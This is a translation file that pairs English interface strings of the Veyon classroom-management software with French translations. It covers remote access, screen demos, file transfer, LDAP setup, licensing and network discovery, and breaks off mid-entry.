Fonctionnalités activées: %1 + + + Online and connected + En ligne et connecté + + + Establishing connection + Établissement de la connexion + + + Computer offline or switched off + Ordinateur hors ligne ou éteint + + + Service unreachable or not running + Service injoignable ou inactif + + + Authentication failed or access denied + L'authentification a échouée ou l'accès est refusé + + + Disconnected + Déconnecté + + + No user logged on + Aucun utilisateur connecté + + + Logged on user: %1 + Connecté sur l'utilisateur: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + Service %1 %2 sur %3:%4 + + + Authentication error + Erreur d'authentification + + + Remote access + Accès à distance + + + User "%1" at host "%2" is now accessing this computer. + L'utilisateur "%1" sur l'hôte "%2" est en train d’accéder à cet ordinateur. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + L'utilisateur "%1" sur l'hôte "%2" a essayé d'accéder à cet ordinateur mais n'a pas réussi à s'authentifier ! + + + + ComputerManagementView + + Computer management + Gestion ordinateur + + + Add room + Ajouter une salle + + + Save computer/user list + Sauver la liste ordinateur / utilisateur + + + Select output filename + Sélectionner le nom du fichier de sortie + + + CSV files (*.csv) + Fichiers CSV (*.csv) + + + File error + Erreur de fichier + + + Could not write the computer and users list to %1! Please check the file access permissions. + Impossible d'écrire la liste des ordinateurs et des utilisateurs dans %1! Vérifiez le fichier des permissions d'accès. + + + Computer search + Recherche d'ordinateur + + + + ComputerManager + + User + Utilisateur + + + Missing network object directory plugin + Contenu du répertoire d'objet réseau manquant + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Aucune extension de répertoire d'objet réseau par défaut n'a été trouvée. Veuillez vérifier votre installation ou configurer un processus d'annuaire d'objets réseau différent via la console de gestion %1. + + + Computer name;Host name;User + Nom de l'ordinateur;Nom de l’hôte; Utilisateur + + + Room detection failed + La détection de la salle a échoué + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Impossible de déterminer à quelle salle cet ordinateur appartient. Cela pourrait provenir d'un problème de configuration du système. Dès lors, toutes les salles seront affichées dans la gestion des ordinateurs. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Veuillez spécifier un fichier de configuration existant à importer. + + + Please specify a valid filename for the configuration export. + Veuillez spécifier un nom de fichier valide pour l'export de la configuration. + + + Please specify a valid key. + Veuillez spécifier une clé valide. + + + Specified key does not exist in current configuration! + La clé spécifiée n'existe pas dans la configuration courante! + + + Please specify a valid value. + Veuillez spécifier une valeur valide. + + + Configure Veyon at command line + Configurer Veyon en ligne de commande + + + Output file is not writable! + Le fichier de sortie ne peut être écrit! + + + Output directory is not writable! + Le répertoire de sortie ne peut être écrit + + + Configuration file is not readable! + Le fichier de configuration n'est pas lisible! + + + Clear system-wide Veyon configuration + Purger la configuration Veyon de tout le système + + + List all configuration keys and values + Lister toutes les clés et paramètres de configuration + + + Import configuration from given file + Importer la configuration à partir d'un fichier + + + Export configuration to given file + Exporter la configuration dans un fichier + + + Read and output configuration value for given key + Lire et extraire la configuration pour une clé donnée + + + Write given value to given configuration key + Écrire un paramètre dans une clé de configuration donnée + + + Unset (remove) given configuration key + Désactiver (retirer) une clé de configuration donnée + + + Commands for managing the configuration of Veyon + Commandes pour la gestion de la configuration de Veyon + + + Upgrade and save configuration of program and plugins + Mettre à niveau et enregistrer la configuration du programme et des greffons + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Impossible de modifier la propriété de démarrage automatique du service %1 + + + Could not configure the firewall configuration for the %1 Server. + Impossible de configurer les paramètres du pare-feu pour le Serveur %1. + + + Could not configure the firewall configuration for the %1 Worker. + Impossible de configurer les paramètres du pare-feu pour la personne %1. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Impossible de changer le paramétrage de manière logicielle pour la génération SAS. L'exécution de Ctrl+Alt+Suppr via le contrôle distant ne fonctionnera pas! + + + Configuration is not writable. Please check your permissions! + La configuration n'est pas accessible en écriture. Veuillez vérifier vos autorisations ! + + + + DemoClient + + %1 Demo + Démo %1 + + + + DemoConfigurationPage + + Demo server + Serveur de démo + + + Tunables + Réglables + + + ms + ms + + + Key frame interval + Intervalle entre les images clés + + + Memory limit + Limite de mémoire + + + Use multithreading (experimental) + Utiliser le multithreading (expérimental) + + + MB + MB + + + Update interval + Intervalle d'actualisation + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Démo en plein écran + + + Stop demo + Arrêter la démo + + + Window demo + Démo dans une fenêtre + + + Give a demonstration by screen broadcasting + Faire une démonstration par diffusion de l'écran + + + Demo server + Serveur de démonstration + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + Dans ce mode votre écran sera affiché en plein écran sur tout les ordinateur, les périphériques d'entrée des utilisateurs seront verrouillés dans ce mode. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + Dans ce mode votre écran est diffusé dans une fenêtre sur tous les autres ordinateurs. Les utilisateurs sont librement en mesure de changer de fenêtre comme ils le souhaitent. + + + + DesktopAccessDialog + + Desktop access dialog + Boîte de dialogue d'accès au bureau + + + Confirm desktop access + Confirmer l'accès au bureau + + + Never for this session + Jamais pour cette session + + + Always for this session + Toujours pour cette session + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + L'utilisateur %1 sur l'ordinateur %2 souhaite accéder à votre bureau. Souhaitez-vous autoriser cet accès ? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programmes et sites internet + + + Predefined programs + Programmes prédéfinis + + + Name + Nom + + + Path + Chemin + + + Add new program + Ajouter un nouveau programme + + + Remove selected program + Retirer le programme sélectionné + + + Predefined websites + Sites internet prédéfinis + + + Remove selected website + Retirer le site internet sélectionné + + + URL + URL + + + New program + Nouveau programme + + + New website + Nouveau site internet + + + + DesktopServicesFeaturePlugin + + Run program + Exécuter un programme + + + Open website + Ouvrir une page internet + + + Click this button to open a website on all computers. + Cliquer sur ce bouton pour ouvrir un site internet sur tous les ordinateurs. + + + Please enter the URL of the website to open: + Veuillez entrer l'URL du site internet à ouvrir: + + + Start programs and services in user desktop + Démarrer les programmes et les services dans le bureau utilisateur + + + Click this button to run a program on all computers. + Cliquer sur ce bouton pour exécuter un programme sur tous les ordinateurs. + + + Run program "%1" + Lance le programme "%1" + + + Custom program + Programme personnalisé + + + Open website "%1" + Ouvre le site internet "%1" + + + Custom website + Site internet personnalisé + + + + ExternalVncServer + + External VNC server + Serveur VNC Externe + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Configuration du serveur externe VNC + + + Port: + Port: + + + Password: + Mot de passe: + + + + FeatureControl + + Feature control + Contrôle des fonctionnalités + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + impossible d'ouvrir le fichier "%1" en lecture! Veuillez vérifier les permissions! + + + + FileTransferDialog + + File transfer + Transfert de fichier + + + Options + Options + + + Transfer only + Transférer uniquement + + + Transfer and open file(s) with associated program + Transférer et ouvrir le(s) fichier(s) avec les programmes associés + + + Transfer and open destination folder + Transférer et ouvrir le répertoire de destination + + + Files + Fichiers + + + Start + Démarrer + + + Overwrite existing files + Écraser les fichiers existants + + + + FileTransferPlugin + + File transfer + Transfert de fichier + + + Click this button to transfer files from your computer to all computers. + Cliquer sur ce bouton pour transférer des fichiers de votre ordinateur vers tous les ordinateurs. + + + Select one or more files to transfer + Sélectionner un ou plusieurs fichiers à transférer + + + Transfer files to remote computer + Transférer des fichiers sur un ordinateur distant + + + Received file "%1". + Réception du fichier "%1" + + + Could not receive file "%1" as it already exists. + Impossible de recevoir le fichier "%1" puisqu'il existe déjà. + + + Could not receive file "%1" as it could not be opened for writing! + Impossible de recevoir le fichier "%1" puisqu'il ne peut pas être ouvert en écriture! + + + + GeneralConfigurationPage + + User interface + Interface de l'utilisateur + + + Language: + Langue: + + + Use system language setting + Utiliser les paramètres de langage du système + + + Veyon + Veyon + + + Logging + Journalisation + + + Log file directory + Répertoire du fichier de journalisation + + + ... + ... + + + Log level + Niveau de journalisation + + + Nothing + Ne rien consigner + + + Only critical messages + Seulement les messages critiques + + + Errors and critical messages + Les erreurs et les messages critiques + + + Warnings and errors + Les alertes et les erreurs + + + Information, warnings and errors + Les informations, les alertes et les erreurs + + + Debug messages and everything else + Les messages de débogage et tout le reste... + + + Limit log file size + Taille maximum du fichier de journalisation + + + Clear all log files + Purger tous les fichiers de journalisation + + + Log to standard error output + Journaliser via la sortie standard + + + Network object directory + Répertoire objets réseau + + + Backend: + Méthode de fonctionnement: + + + Update interval: + Intervalle de rafraichissement: + + + %1 service + Service %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Le service %1 a besoin d'être temporairement arrêté afin de supprimer les fichiers de journalisation. Souhaitez vous pour continuer ? + + + Log files cleared + Fichiers de journalisation vidés + + + All log files were cleared successfully. + Tous les fichiers de journalisation ont été vidés avec succès. + + + Error + Erreur + + + Could not remove all log files. + Impossible de supprimer tous les fichiers de journalisation. + + + MB + Mo + + + Rotate log files + Rotation des fichiers de journalisation + + + x + x + + + seconds + secondes + + + Write to logging system of operating system + Écrire dans le système de journalisation du système d'exploitation + + + Authentication + Authentification + + + Method: + Méthode: + + + Logon authentication + Authentification par un identifiant + + + Key file authentication + Authentification par un fichier clé + + + + InternetAccessControlConfigurationPage + + Internet access control + Contrôle d'accès internet + + + Backend: + Méthode de fonctionnement: + + + General settings + Paramètres généraux + + + Backend settings + Paramètres internes + + + + InternetAccessControlPlugin + + Block access to the internet + Bloquer l'accès à internet + + + Allow access to the internet + Permettre l'accès à internet + + + Show help about command + Afficher la commande aide et à propos + + + Block internet + Bloquer internet + + + Click this button to block access to the internet. + Cliquer sur ce bouton pour bloquer l'accès à internet. + + + Unblock internet + Débloquer internet + + + Click this button to allow access to the internet. + Cliquer sur ce bouton pour permettre l'accès à internet. + + + Control access to the internet + Contrôle l'accès à internet + + + Commands for controlling access to the internet + Commandes pour contrôler l'accès à Internet + + + + LdapBrowseDialog + + Browse LDAP + Parcourir LDAP + + + + LdapClient + + LDAP error description: %1 + Description de l'erreur LDAP: %1 + + + No LDAP error description available + Aucune description de l'erreur LDAP disponible + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Paramétrages de base + + + General + Général + + + LDAP server and port + Port et serveur LDAP + + + Bind DN + Authentification DN + + + Bind password + Mot de passe d'authentification + + + Anonymous bind + Authentification anonyme + + + Use bind credentials + Utiliser des informations d'identification + + + Test + Test + + + Base DN + Base DN + + + Fixed base DN + Base DN Fixe + + + e.g. dc=example,dc=org + ex: dc=exemple, dc=org + + + Discover base DN by naming context + Explorer la base DN à partir d'un contexte de nommage + + + e.g. namingContexts or defaultNamingContext + ex: ContextesNommés ou ContexteNomméParDéfaut + + + Environment settings + Paramètres d'environnement + + + Object trees + Arborescence objet + + + Computer tree + Arborescence ordinateur + + + e.g. OU=Groups + ex: OU=Groupes + + + User tree + Arborescence utilisateur + + + e.g. OU=Users + ex: OU=Utilisateurs + + + e.g. OU=Computers + ex: OU=Ordinateurs + + + Group tree + Arborescence groupe + + + Perform recursive search operations in object trees + Effectuer des recherches récursives dans les arborescences objet + + + Object attributes + Attributs d'objet + + + e.g. hwAddress + ex: Adressehw + + + Computer host name attribute + Attribut du nom de l'ordinateur hôte + + + e.g. member or memberUid + ex: membre ou surnom + + + User login attribute + Attribut de l'identifiant utilisateur + + + e.g. dNSHostName + ex: NomHotedNS + + + Computer MAC address attribute + Attribut de l'adresse MAC de l'ordinateur + + + Group member attribute + Attribut du groupe membre + + + e.g. uid or sAMAccountName + ex: uid ou sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Noms d'hôtes enregistré comme des noms de domaine pleinement qualifié (FQDN, ex: monhote.exemple.org) + + + Advanced settings + Paramétrages avancés + + + Optional object filters + Filtres d'objet optionnel + + + Filter for user groups + Filtre pour les groupes utilisateur + + + Filter for users + Filtre pour les utilisateurs + + + Filter for computer groups + Filtre pour les groupes d'ordinateurs + + + Group member identification + Identification du groupe membre + + + Distinguished name (Samba/AD) + Nom distinct (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Attribut configuré pour la connexion utilisateur ou le nom d'hôte de l'ordinateur (OpenLDAP) + + + List all groups of a user + Lister tous les groupes d'un utilisateur + + + List all groups of a computer + Lister tous les groupes d'un ordinateur + + + Get computer object by IP address + Trouver un ordinateur par son adresse IP + + + LDAP connection failed + La connexion LDAP a échoué + + + LDAP bind failed + Échec de l'authentification LDAP + + + LDAP bind successful + Authentification LDAP réussie + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + La connexion au serveur LDAP ainsi que l'authentification LDAP ont été réussis. Les paramètres LDAP de base sont configurés convenablement. + + + LDAP base DN test failed + Échec du test base LDAP DN + + + LDAP base DN test successful + Le test base LDAP DN à réussi + + + LDAP naming context test failed + Échec du test LDAP de nommage par contexte + + + LDAP naming context test successful + Le test LDAP de nommage par contexte à réussi. + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Le contexte de nommage LDAP à été interrogé avec succès. La base DN suivante à été trouvée: +%1 + + + user tree + arborescence utilisateur + + + group tree + arborescence groupe + + + computer tree + arborescence ordinateur + + + Enter username + Entrer votre nom d'utilisateur + + + Please enter a user login name (wildcards allowed) which to query: + Veuillez entrer un identifiant utilisateur (jokers autorisé ? *) à rechercher: + + + user objects + objets utilisateur + + + user login attribute + attribut de l'identifiant utilisateur + + + Enter group name + Entrer un nom de groupe + + + Please enter a group name whose members to query: + Veuillez entrer le nom d'un groupe dont vous recherchez les membres: + + + group members + membres du groupe + + + group member attribute + attribut du membre du groupe + + + Group not found + Groupe introuvable + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Impossible de trouver un groupe avec le nom "%1". Veuillez vérifier le nom du groupe ou le paramètre de l'arborescence du groupe. + + + Enter computer name + Entrer un nom d'ordinateur + + + Please enter a computer host name to query: + Veuillez entrer un nom d'ordinateur hôte à rechercher: + + + Invalid host name + Nom de l'hôte non valide + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Vous avez choisi de stocker les noms d'ordinateurs hotes comme des noms de domaine pleinement qualifié (FQDN) mais vous avez saisi un nom d'hôte sans son domaine. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Vous avez choisi de stocker les noms d'ordinateurs hôtes comme de simple noms sans domaine, mais vous avez saisi un nom d'hôte dont une partie est un nom de domaine. + + + computer objects + objets ordinateur + + + computer host name attribute + attribut du nom de l'ordinateur hôte + + + Enter computer DN + Entrer le DN de l'ordinateur + + + Please enter the DN of a computer whose MAC address to query: + Veuillez entrer le DN d'un ordinateur dont vous recherchez l'adresse MAC: + + + computer MAC addresses + Adresse MAC de l'ordinateur + + + computer MAC address attribute + attribut de l'adresse MAC de l'ordinateur + + + users + utilisateurs + + + user groups + groupes d'utilisateurs + + + computer groups + groupes d'ordinateurs + + + Please enter a user login name whose group memberships to query: + Veuillez entrer l'identifiant dont vous recherchez les groupes d'appartenance: + + + groups of user + groupes d'utilisateur + + + user login attribute or group membership attribute + attribut de l'identifiant utilisateur ou d'appartenance au groupe + + + User not found + Utilisateur introuvable + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Impossible de trouver un utilisateur dont le nom est "%1". Vérifiez le nom de l'utilisateur ou du paramètre d'arborescence utilisateur. + + + Enter host name + Entrer un nom d'hôte + + + Please enter a computer host name whose group memberships to query: + Veuillez entrer le nom d'un ordinateur hôte dont vous recherchez les groupes membre: + + + groups of computer + groupes d'ordinateur + + + computer host name attribute or group membership attribute + attribut du nom de l'ordinateur hôte ou d'appartenance au groupe + + + Computer not found + Ordinateur introuvable + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Impossible de trouver un ordinateur dont le nom est "%1". Vérifiez le nom de l'ordinateur ou du paramètre d'arborescence ordinateur. + + + Enter computer IP address + Entrer l'adresse IP de l'ordinateur + + + Please enter a computer IP address which to resolve to an computer object: + Veuillez entrer une adresse IP pour trouver un ordinateur: + + + Host name lookup failed + Échec de la recherche du nom d'hôte + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Impossible de rechercher le nom d'hôte pour l'adresse IP %1. Veuillez vérifier le paramétrage de votre serveur DNS. + + + computers + ordinateurs + + + LDAP %1 test failed + Échec du test LDAP %1 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Aucune entrée ne peut être interrogé dans le %1 configuré. Veuillez vérifier le paramètre %1 + +%2 + + + LDAP %1 test successful + Le test LDAP %1 à réussi + + + The %1 has been queried successfully and %2 entries were found. + %1 a été interrogé avec succès et %2 entrée(s) ont été trouvée(s). + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Aucun %1 ne peut être interrogé. Veuillez vérifier le paramètre %2 ou bien saisir le nom d'un objet existant + +%3 + + + %1 %2 have been queried successfully: + +%3 + %2 %1 a été interrogé avec succès: + +%3 + + + LDAP filter test failed + Échec du test du filtre LDAP + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Impossible d'interroger %1 en utilisant le filtre configuré. Veuillez vérifier le filtre LDAP pour %1 + +%2 + + + LDAP filter test successful + Le test du filtre LDAP à réussi + + + %1 %2 have been queried successfully using the configured filter. + %2 %1 a été interrogé avec succès en appliquant le filtre. + + + (only if different from group tree) + (seulement si différent de l'arborescence du groupe) + + + Computer group tree + Arborescence groupe ordinateur + + + computer group tree + arborescence groupe ordinateur + + + Filter for computers + Filtre pour les ordinateurs + + + e.g. room or computerLab + ex: salle ou labo + + + List all members of a computer room + Lister tous les membres d'une salle d'ordinateurs + + + List all computer rooms + Lister tous les salles d'ordinateurs + + + Enter computer room name + Entrer un nom de salle + + + Please enter the name of a computer room (wildcards allowed): + Veuillez entrer un nom de salle (jokers: * ? autorisés): + + + computer rooms + salles + + + computer room attribute + attribut de salle + + + Please enter the name of a computer room whose members to query: + Veuillez entrer le nom d'une salle dont vous recherchez les membres: + + + computer room members + membres de la salle + + + computer group filter or computer room member aggregation + Filtre de groupe d'ordinateur ou regroupement d'ordinateur d'une même salle + + + Computer rooms + Salles d'ordinateur + + + Integration tests + Tests d'intégration + + + Computer room attribute + Attribut de la salle informatique + + + Aggregate computers in a room via: + Agréger les ordinateurs dans une classe via: + + + Computer groups + Groupe d'ordinateurs + + + Computer room attribute in computer objects + Attribut de salle informatique dans les objets informatiques + + + Test not applicable + Test non applicable + + + Computer room name attribute + Attribut du nom de la salle informatique + + + e.g. name or description + Ex: nom ou description + + + Filter for computer containers + Filtre pour les conteneurs d'ordinateur + + + Computer containers or OUs + Conteneurs d'ordinateur ou bien OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Veuillez changer les paramètres de la salle informatique pour utiliser des groupes d'ordinateurs ou des conteneurs d'ordinateur comme salles informatique. Dans ce cas il sera demandé un attribut spécifié à la place du nom du groupe d'ordinateur ou du conteneur. Autrement il n'est pas nécessaire de configurer cet attribut. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Veuillez changer les paramètres de la salle informatique ci-dessous pour utiliser des conteneurs d'ordinateur comme salles informatique. Autrement il n'est pas nécessaire de configurer ce filtre. + + + Connection security + Sécurité de connexion + + + TLS certificate verification + Certificat de vérification TLS + + + System defaults + Paramètres par défaut du système + + + Never (insecure!) + Jamais (non sécurisé!) + + + Custom CA certificate file + Fichier personnel de certificat CA + + + None + Aucun + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + ex: (ClasseObjet=ordinateur) + + + e.g. (objectClass=group) + ex: (ClasseObjet=groupe) + + + e.g. (objectClass=person) + ex: (ClasseObjet=personne) + + + e.g. (objectClass=room) or (objectClass=computerLab) + ex: (ClasseObjet=salle) ou (ClasseObjet=Labo) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + ex: (ClasseObjet=container) ou (ClasseObjet=Unité d'Organisation) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Impossible d'interroger la base DN ainsi configurée. Veuillez vérifier les paramètres de la base DN. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + La base LDAP DN a été interrogée avec succès. Les entrées suivantes ont été trouvées: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Impossible d'interroger la base DN via des contextes de nommage. Veuillez vérifier l'attribut du paramètre de contexte de nommage. + +%1 + + + Certificate files (*.pem) + Fichiers de certificats (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Impossible de se connecter au serveur LDAP. Veuillez vérifier les paramètres du serveur. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Authentification au serveur LDAP impossible. Veuillez vérifier les paramètres du serveur et les informations d'identification. + +%1 + + + Encryption protocol + Protocole de cryptage + + + + LdapPlugin + + Auto-configure the base DN via naming context + Auto configurer la base DN à partir d'un contexte de nommage + + + Query objects from LDAP directory + Requête d'objets depuis l'annuaire LDAP + + + Show help about command + Afficher la commande aide et à propos + + + Commands for configuring and testing LDAP/AD integration + Commandes pour configurer et tester l'intégration LDAP/AD + + + Provide LDAP/AD integration for Veyon + Fournir l'intégration LDAP/AD pour Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (charger les ordinateurs et les salles à partir de la base LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (charger les utilisateurs et les groupes à partir de la base LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + Licence + + + Installed licenses + Licences installées + + + Add new network range + Ajouter une nouvelle plage réseau + + + Remove selected network range + Supprimer la plage réseau sélectionnée + + + ID + ID + + + Feature + Fonctionnalité + + + Valid until + Valable jusqu'à + + + Licensee + Licencié + + + Browse license file + Parcourir fichier licence + + + Veyon license files (*.vlf) + Fichiers licence Veyon (*.vlf) + + + Remove license + Retirer licence + + + Do you really want to remove the selected license? + Voulez-vous réellement retirer la licence sélectionnée ? + + + <N/A> + < Sans Objet > + + + Invalid license file + Fichier licence invalide + + + Could not open the license file for reading! + Impossible d'ouvrir le fichier licence en lecture ! + + + The selected license file does not contain valid data. + Le fichier de licence sélectionné ne contient pas de données valides. + + + The selected license file could not be verified. + Le fichier de licence sélectionné n'a pas pu être vérifié. + + + The selected license file is not valid for this installation. + Le fichier de licence sélectionné n'est pas valide pour cette installation. + + + The selected license file is expired. + Le fichier de licence sélectionné a expiré. + + + The license is already installed. + La licence est déjà installée. + + + + LicensingPlugin + + Show help for specific command + Affiche l'aide pour une commande spécifique + + + Show all installed licenses + Afficher toutes les licences installées + + + Add license file + Ajouter un fichier de licence + + + Remove installed license + Supprimer la licence installée + + + +USAGE + +%1 add <LICENSE FILE> + + + +USAGE + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +USAGE + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + Aucun certificat trouvé avec l'ID donné + + + <N/A> + < Sans Objet > + + + Licensing management + Gestion des licences + + + Commands for managing license keys + Commandes de gestion des clés de licence + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Extension implémentant les fonctions abstraites pour le système Linux + + + + MainToolBar + + Configuration + Configuration + + + Disable balloon tooltips + Désactiver les info-bulles + + + Show icons only + Afficher seulement les icônes + + + + MainWindow + + MainWindow + Fenêtre principale + + + toolBar + Barre d'outils + + + General + Général + + + &File + &Fichier + + + &Help + &Aide + + + &Quit + &Quitter + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &Charger la configuration à partir d'un fichier + + + Ctrl+O + Ctrl+O + + + About Qt + À propos de QT + + + Authentication impossible + Authentification impossible + + + Configuration not writable + Impossible d'enregistrer la configuration + + + Load settings from file + Charge la configuration à partir d'un fichier + + + Save settings to file + Enregistre la configuration dans un fichier + + + Unsaved settings + Paramètres non enregistrés + + + There are unsaved settings. Quit anyway? + Certains paramètres n'ont pas été enregistrés. Souhaitez-vous tout de même quitter? + + + Veyon Configurator + Console de gestion Veyon + + + Service + Service + + + Master + Maître + + + Access control + Contrôle d'accès + + + About Veyon + À propos de Veyon + + + Auto + Auto + + + Computer rooms + Salles d'ordinateur + + + About + À propos + + + %1 Configurator %2 + Console de gestion %1 %2 + + + JSON files (*.json) + Fichiers JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Le processus de configuration locale rapporte que le fichier de configuration ne peut pas s'enregistrer! Veuillez exécuter la console de gestion %1 avec des droits plus importants. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Aucune clés d'authentification n'ont été trouvées ou bien les clés actuelles sont obsolètes. Veuillez créer de nouvelles clés en utilisant la Console de gestion %1. Sinon, vous pouvez paramétrer l'authentification par l'identifiant en utilisant également la Console de gestion %1. Sans cela, vous ne serez pas en mesure d'accéder aux ordinateurs en utilisant %1. + + + Access denied + Accès refusé + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Selon la configuration locale, vous n'êtes pas autorisé à accéder aux ordinateurs du réseau. Veuillez vous identifier avec un compte différent ou bien demandez à votre administrateur système de vérifier la configuration locale. + + + Screenshots + Captures d'écrans + + + Feature active + Fonctionnalité active + + + The feature "%1" is still active. Please stop it before closing %2. + La fonctionnalité "%1" est toujours active. Veuillez l'interrompre avant de fermer %2. + + + Reset configuration + Reset de la configuration + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Voulez-vous vraiment reset la configuration locale et restaurer tous les paramètres à leurs valeurs par défaut ? + + + Search users and computers + Chercher des utilisateurs et des ordinateurs + + + Adjust optimal size + Ajuster la taille optimale + + + Align computers to grid + Aligner les ordinateurs sur la grille + + + Use custom computer placement + Personnaliser la disposition des d'ordinateurs + + + %1 Configurator + Console de gestion %1 + + + Insufficient privileges + Privilèges insuffisants + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Impossible de démarrer avec des privilèges administrateurs. Veuillez vous assurez qu'un programme de type "sudo" (permettant les droits admin), est installé pour votre environnement! Le programme sera exécuté avec des privilèges d'utilisateur classique. + + + Only show powered on computers + Montrer seulement les ordinateurs allumés + + + &Save settings to file + &Sauver les paramètres vers un fichier + + + &View + &Vue + + + &Standard + &Standard + + + &Advanced + &Confirmé + + + + MasterConfigurationPage + + Directories + Répertoires + + + ... + ... + + + User configuration + Configuration utilisateur + + + Feature on computer double click: + Action au double clique sur un ordinateur: + + + Automatically switch to current room at start + Au démarrage, changer automatiquement pour la salle courante + + + Features + Fonctionnalités + + + All features + Fonctionnalités disponibles + + + Disabled features + Fonctionnalités désactivées + + + Perform access control at program start + Effectuer le contrôle d'accès au démarrage du programme + + + Screenshots + Captures d'écrans + + + <no feature> + Aucune action + + + Automatically adjust computer thumbnail size at start + Ajuster automatiquement la taille des prévues ordinateurs au démarrage + + + Basic settings + Paramètres généraux + + + Behaviour + Comportement + + + Enforce selected mode for client computers + Forcer le mode sélectionné pour les ordinateurs + + + Only show current room + Afficher seulement la classe courante + + + Allow adding rooms manually + Autoriser l'ajout manuel de salles + + + Hide local computer + Masquer l'ordinateur + + + Hide empty rooms + Masquer les classes vides + + + Hide computer filter field + Masquer le champ filtre ordinateur + + + Actions such as rebooting or powering down computers + Actions comme le redémarrage ou l'extinction d'ordinateurs + + + Show confirmation dialog for potential dangerous actions + Afficher une confirmation pour les actions potentiellement dangereuses + + + User interface + Interface de l'utilisateur + + + Background color + Couleur de fond + + + Thumbnail update interval + Intervalle de rafraichissement des miniatures d'écran + + + ms + ms + + + Program start + Démarrage du programme + + + Modes and features + Modes et paramétrages + + + User and computer name + Utilisateur et nom d'ordinateur + + + Only user name + Nom d'utilisateur seulement + + + Only computer name + Nom d'ordinateur seulement + + + Computer thumbnail caption + Légende de la vignette ordinateur + + + Computer rooms + Salles d'ordinateur + + + Automatically open computer rooms widget + Ouvrir automatiquement le widget des salles informatiques + + + Text color + Couleur du texte + + + Sort order + Ordre de tri + + + Computer and user name + Ordinateur et nom d'utilisateur + + + + MonitoringMode + + Monitoring + Surveiller + + + Builtin monitoring mode + mode de surveillance intégré + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Ceci est le mode par défaut qui vous permet de surveiller tous les ordinateurs dans une ou plusieurs salles. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Découverte du réseau + + + Mode + Mode + + + Scan network ranges + Scanner des plages réseau + + + e.g. 192.168.1.0/24 + ex: 192.168.1.0/24 + + + Scan all subnets of computer + Scanner tous les sous-réseaux de l'ordinateur + + + Scan custom subnet + Scanner un sous-réseau personnalisé + + + Scan sessions on local computer + Scanner les sessions sur l'ordinateur local + + + Test + Test + + + Network ranges + Plages réseau + + + Add new group + Ajouter un nouveau groupe + + + Remove selected group + Supprimer le groupe sélectionné + + + Groups + Groupes + + + First address + Première adresse + + + Last address + Dernière adresse + + + Add new network range + Ajouter une nouvelle plage réseau + + + Remove selected network range + Supprimer la plage réseau sélectionnée + + + Parallel scans + Scans parallèles + + + Scan timeout + Analyse temps mort + + + ms + ms + + + Session scan limit + Limite d'analyse de session + + + New group + Nouveau groupe + + + Options + Options + + + Reverse lookup discovered IP addresses to host names + Recherche inversée des adresses IP découvertes en noms d'hôte + + + + NetworkDiscoveryDirectory + + Scanning... + Scan... + + + Discovered computers + Ordinateurs découverts + + + + NetworkDiscoveryPlugin + + Show help for specific command + Affiche l'aide pour une commande spécifique + + + Scan a subnet + Scanner un sous-réseau + + + +USAGE + +%1 scan [<SUBNET>] + + + +USAGE + +%1 scan 